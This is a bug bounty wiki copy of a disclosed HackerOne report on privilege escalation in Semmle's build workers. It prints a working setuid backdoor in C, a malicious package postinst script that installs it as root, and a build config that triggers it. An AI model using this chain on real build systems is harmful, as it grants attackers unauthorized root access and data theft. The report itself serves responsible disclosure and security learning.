Skip to content
RCE Disclosed report Intermediate

Privilege escalation in workers container

The build system allowed installing arbitrary packages during the prepare step, so an attacker could upload a malicious package and gain root access to the container.

Nguyễn Tiến Giang Follow

Originally disclosed on HackerOne

Bounty$1,500incl. $750 bonus High View original
  • Triaged in 13 hours
  • Fixed in 18 hours
  • Paid in 13 hours
  • Disclosed after 13 days

Summary about the bugs:

In the prepare step, semmle allows user to install new package.

By upload a malicious package along with source code and force server to build this package, attacker will gain root access to the container

Steps:

  1. Create a malicious package contains the backdoor:

I use this guide (https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/) to create the package.

With the content of postinst is

#!/bin/sh

ps -ef
sudo cp /opt/src/run /suidfs/passwd && sudo chown root:root /suidfs/passwd && sudo chmod 04755 /suidfs/passwd && ln -s /suidfs/passwd /usr/bin/setpasswd && setpasswd id &

Content of /opt/src/run:

#include <stdio.h>
void main(int argc, char *argv[]) {
    setreuid(0, 0);
    system(argv[1]);
}

After that i will got a malicious .deb package.

  1. Create a config file to install this malicious package:

Because the source code is imported before the prepare step happens, so i will be able to install this package by point directly to it like this /opt/src/work.deb.

The install command now will be like this apt install -y --no-recommend /opt/src/work.deb. And it is legal.

The build config:

extraction:
  java:
    prepare:
      packages:
        - /opt/src/work.deb
    after_prepare:
      - echo pwned >> /opt/out/snapshot/log/build.log
      - /usr/bin/setpasswd 'id'

After that the build will failed, and attacker will get root on the container by running the setuid backdoor

PoC is attached below

Thanks & regard!

Impact

Attacker will get root access and will be able to dump every sensitive datas in the server!

Attachments

sem4.PNG
sem4.PNG From the original on HackerOne

The original report as published on HackerOne, by testanull. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the build configuration allowed installing packages from arbitrary local paths without validating their origin or contents.

Impact

An attacker could gain root access to the container and dump sensitive data.

What the attacker needed

Ability to upload source code; ability to modify build configuration

How it was found

  1. Create a malicious package containing a backdoor.
  2. Place the package in the source code directory.
  3. Configure the build to install the package during the prepare step.
  4. Run the build, which installs the package and executes the backdoor.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The report shows a user could make the server install an uploaded package, which ran with high privileges and gave root on the build container.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Nguyễn Tiến Giang

View all

2 more disclosed reports, best first.

More from Semmle

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.